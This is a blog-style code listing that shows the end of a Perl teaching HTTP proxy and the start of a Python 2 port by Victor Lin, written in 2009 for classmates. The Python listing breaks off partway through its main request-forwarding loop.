    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #0000ff;">$remote_host</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$first</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">last</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/^[\s\x00]*$/</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Invalid HTTP request from &quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$inetaddr</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$CHILD</span> <span style="color: #ff0000;">&quot;I don't understand your request.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  If requested URL is the proxy server then ignore request</span>
	<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$local_host</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">`hostname`</span><span style="color: #339933;">;</span>	
	<span style="color: #000066;">chop</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$local_host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$local_ip</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">gethostbyname</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$local_host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>		<span style="color: #666666; font-style: italic;">#Get localhost ip (packed imformation)</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$remote_ip</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">gethostbyname</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>		<span style="color: #666666; font-style: italic;">#Get remote ip (packed imformation)</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_ip</span> <span style="color: #b1b100;">eq</span> <span style="color: #0000ff;">$local_ip</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_port</span> <span style="color: #b1b100;">eq</span> <span style="color: #0000ff;">$proxy_port</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$first</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">last</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/^[\s\x00]*$/</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot; --- Connection to proxy server ignored.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$CHILD</span> <span style="color: #ff0000;">&quot;It's not nice to make me loop on myself!.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Setup connection to target host and send request</span>
    <span style="color: #0000ff;">$remote_port</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;http&quot;</span> <span style="color: #b1b100;">unless</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">&amp;open_connection</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$URL</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$remote_host</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$remote_port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Remove remote hostname from URL</span>
        <span style="color: #0000ff;">$first</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">s/http:\/\/[^\/]+//</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$first</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$method</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$URL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #666666; font-style: italic;">#--     listen_to_port($SOCKET, $port)                                   --</span>
<span style="color: #666666; font-style: italic;">#--                                                                     --</span>
<span style="color: #666666; font-style: italic;">#--     Create a socket that listens to a specific port                 --</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #000000; font-weight: bold;">sub</span> listen_to_port <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$max_requests</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$return_value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #0000ff;">$max_requests</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">30</span><span style="color: #339933;">;</span>          <span style="color: #666666; font-style: italic;"># Max number of outstanding requests</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">#--- Get localhost name</span>
	<span style="color: #0000ff;">$local_hostname</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">`hostname`</span><span style="color: #339933;">;</span>	
	<span style="color: #000066;">chop</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$local_hostname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span> <span style="color: #009900;">&#40;</span>
    						LocalHost <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$local_hostname</span><span style="color: #339933;">,</span>
							LocalPort <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span>
							Proto <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">'tcp'</span><span style="color: #339933;">,</span>
							Listen <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$max_request</span><span style="color: #339933;">,</span>
							ReuseAddr <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
                                                       <span style="color: #009900;">&#41;</span>  <span style="color: #339933;">||</span> <span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;socket: $!&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$cur</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000066;">select</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <span style="color: #0000ff;">$|</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>                             <span style="color: #666666; font-style: italic;"># Disable buffering on socket.</span>
    <span style="color: #000066;">select</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$cur</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #666666; font-style: italic;">#--     open_connection($SOCKET, $remote_hostname, $port)                --</span>
<span style="color: #666666; font-style: italic;">#--                                                                     --</span>
<span style="color: #666666; font-style: italic;">#--     Create a socket that connects to a certain host                 --</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #000000; font-weight: bold;">sub</span> open_connection <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_hostname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$port</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">@_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$return_value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#-- Get the port number by service name</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span> <span style="color: #339933;">!~</span> <span style="color: #009966; font-style: italic;">/^\d+$/</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">$port</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">getservbyname</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;tcp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$port</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">80</span> <span style="color: #b1b100;">unless</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>				<span style="color: #666666; font-style: italic;">#If the service name is not valid, give it a default number(80)</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$remote_addr</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">gethostbyname</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_hostname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #0000ff;">$remote_addr</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Unknown host: $remote_hostname&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
    <span style="color: #666666; font-style: italic;">#print &quot;Connecting to $remote_hostname port $port.\n\n&quot;;</span>
    <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span> <span style="color: #009900;">&#40;</span>
    						PeerAddr <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$remote_hostname</span><span style="color: #339933;">,</span>
							PeerPort <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span>
							Proto <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">'tcp'</span>
                            <span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;socket: $!&quot;</span><span style="color: #339933;">;</span>   
&nbsp;
	<span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$remote_ip</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerhost</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>									   
    <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Connecting to $remote_ip port $port.<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>								
&nbsp;
    <span style="color: #000066;">local</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$cur</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000066;">select</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
    <span style="color: #0000ff;">$|</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>                             <span style="color: #666666; font-style: italic;"># Disable buffering on socket.</span>
    <span style="color: #000066;">select</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$cur</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>Python版:</p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;&quot;&quot;This is a simple HTTP proxy written in Python that imitate the Perl one:
&nbsp;
http://liuj.fcu.edu.tw/net_pg/proxy-stu.pl.html
&nbsp;
I wrote this in Python for classmates to compare to the one in Perl, because the 
readability of Perl is awful. You can see the readaibility is much better than 
the Perl one. You can also read this article:
&nbsp;
http://www.garshol.priv.no/download/text/perl.html
&nbsp;
to see what's wrong with Perl, and why Python.
&nbsp;
To read this program, you might need the documents of python:
http://docs.python.org/index.html
&nbsp;
You can also find older version here:
http://www.python.org/doc/versions/
&nbsp;
To learn Python, you can browse my tutorials:
http://ez2learn.com/
&nbsp;
If you got any problem about this program, feel free to ask.
&nbsp;
Author: Victor Lin (bornstub@gmail.com)
        http://blog.ez2learn.com
&nbsp;
2009/4/27 - Create first version
2009/4/30 - Fix the problem of keep-alive (fore the connection closed)
&nbsp;
&quot;&quot;&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urlparse</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">signal</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">datetime</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> listenToPort<span style="color: black;">&#40;</span>port<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Listen to specific port and return socket
&nbsp;
    @param port: port to listen
    @return: socket
    &quot;&quot;&quot;</span>
    <span style="color: #808080; font-style: italic;"># get name of host</span>
    host = <span style="color: #dc143c;">socket</span>.<span style="color: black;">gethostbyname</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">gethostname</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;"># create socket and bind, listen</span>
    s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">bind</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host, port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">listen</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">5</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> s
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> openConnection<span style="color: black;">&#40;</span>host, port<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Open a connection to remote host
&nbsp;
    @param host: host to connect
    @param port: port to connect
    @return: connection socket
    &quot;&quot;&quot;</span>
    <span style="color: #808080; font-style: italic;"># create socket for connecting remote host</span>
    remote = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
    ip = <span style="color: #dc143c;">socket</span>.<span style="color: black;">gethostbyname</span><span style="color: black;">&#40;</span>host<span style="color: black;">&#41;</span>
    remote.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>ip, port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> remote
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> analyzeRequest<span style="color: black;">&#40;</span>client<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Parse http request
&nbsp;
    @param child: file of client socket to read request and parse
    @return: (first line of request for http server, http method, socket to url)
    &quot;&quot;&quot;</span>
    first = client.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># parse first line</span>
    method, url, version = first.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># parse url</span>
    result = <span style="color: #dc143c;">urlparse</span>.<span style="color: #dc143c;">urlparse</span><span style="color: black;">&#40;</span>url<span style="color: black;">&#41;</span>
    host = result<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> result<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= -<span style="color: #ff4500;">1</span>:
        host, port = host.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span>
        port = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>port<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        port = <span style="color: #ff4500;">80</span>
    url = <span style="color: #dc143c;">urlparse</span>.<span style="color: black;">urlunparse</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span>, <span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span> + result<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># check is there a loop</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> host == <span style="color: #dc143c;">socket</span>.<span style="color: black;">gethostname</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">or</span> host == <span style="color: #483d8b;">'127.0.0.1'</span> <span style="color: #ff7700;font-weight:bold;">or</span> \
        host.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> == <span style="color: #483d8b;">'localhost'</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot; --- Connection to proxy server ignored.&quot;</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> <span style="color: #008000;">file</span>, <span style="color: #483d8b;">&quot;It's not nice to make me loop on myself!.&quot;</span>
        client.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    remote = openConnection<span style="color: black;">&#40;</span>host, port<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;"># the first line for remote socket</span>
    first = <span style="color: #483d8b;">&quot;%s %s %s&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>method, url, version<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> first, method, remote
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">1</span>:
        proxyPort = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> 
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        proxyPort = <span style="color: #ff4500;">5364</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">##--- Step 1 : Create Socket ---##</span>
    s = listenToPort<span style="color: black;">&#40;</span>proxyPort<span style="color: black;">&#41;</span>
    ip, port = s.<span style="color: black;">getsockname</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot; --- Proxy server running on %s ( %s ) port: %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>
        <span style="color: #dc143c;">socket</span>.<span style="color: black;">gethostname</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>, ip, port<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">##--- Step 2 : Wait for request ---##</span>
    <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot; --- Waiting to be of service ...&quot;</span>
        client, address = s.<span style="color: black;">accept</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        clientFile = client.<span style="color: black;">makefile</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        ip, port = address
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Connection from %s port: %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>ip, port<span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">##---  Step 3 : Read first line of request and analyze it. ---##</span>
        first, method, remote = analyzeRequest<span style="color: black;">&#40;</span>clientFile<span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">##---  Step 4 : Send request to remote host ---##</span>
        remoteFile = remote.<span style="color: black;">makefile</span><span style="color: black;">&#40;</span>bufsize=<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;"># write first line to remote server</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> remoteFile, first
        <span style="color: #ff7700;font-weight:bold;">print</span> first
        <span style="color: #808080; font-style: italic;"># force the remote connection closed as finish this request</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> remoteFile, <span style="color: #483d8b;">'Connection: close'</span>
        <span style="color: #808080; font-style: italic;"># read headers from client</span>
        contentLength = <span style="color: #ff4500;">0</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> clientFile:
            line = line.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> line
            <span style="color: #808080; font-style: italic;"># filter headers that we don't want they passed to server</span>
            match = <span style="color: #008000;">False</span>
            <span style="color: #ff7700;font-weight:bold;">for</span> header <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: black;">&#91;</span><span style="color: #483d8b;">'connection:'</span>, <span style="color: #483d8b;">'proxy-connection:'</span>, <span style="color: #483d8b;">'keep-alive:'</span><span style="color: black;">&#93;</span>:
                <span style="color: #ff7700;font-weight:bold;">if</span> line.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span>header<span style="color: black;">&#41;</span>:
                    match = <span style="color: #008000;">True</span>
            <span style="color: #ff7700;font-weight:bold;">if</span> match:
                <span style="color: #ff7700;font-weight:bold;">continue</span>
            <span style="color: #808080; font-style: italic;"># get content length</span>
            <span style="color: #ff7700;font-weight:bold;">if</span> line.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'content-length:'</span><span style="color: black;">&#41;</span>:
                _, length = line.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span>
                contentLength = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>length<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> remoteFile, line
            <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:
                <span style="color: #ff7700;font-weight:bold;">break</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">if</span> method == <span style="color: #483d8b;">&quot;POST&quot;</span>:            
            <span style="color: #ff7700;font-weight:bold;">if</span> contentLength <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">0</span>:
                data = clientFile.<span style="color: black;">read</span><span style="color: black;">&#40;</span>contentLength<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">else</span>:
                data = clientFile.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
            <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;POST body:&quot;</span>, data
            <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> remoteFile, data
&nbsp;
        <span style="color: #808080; font-style: italic;">##---  Step 5 : Wait for response and transfer it to requestor. ---##    </span>
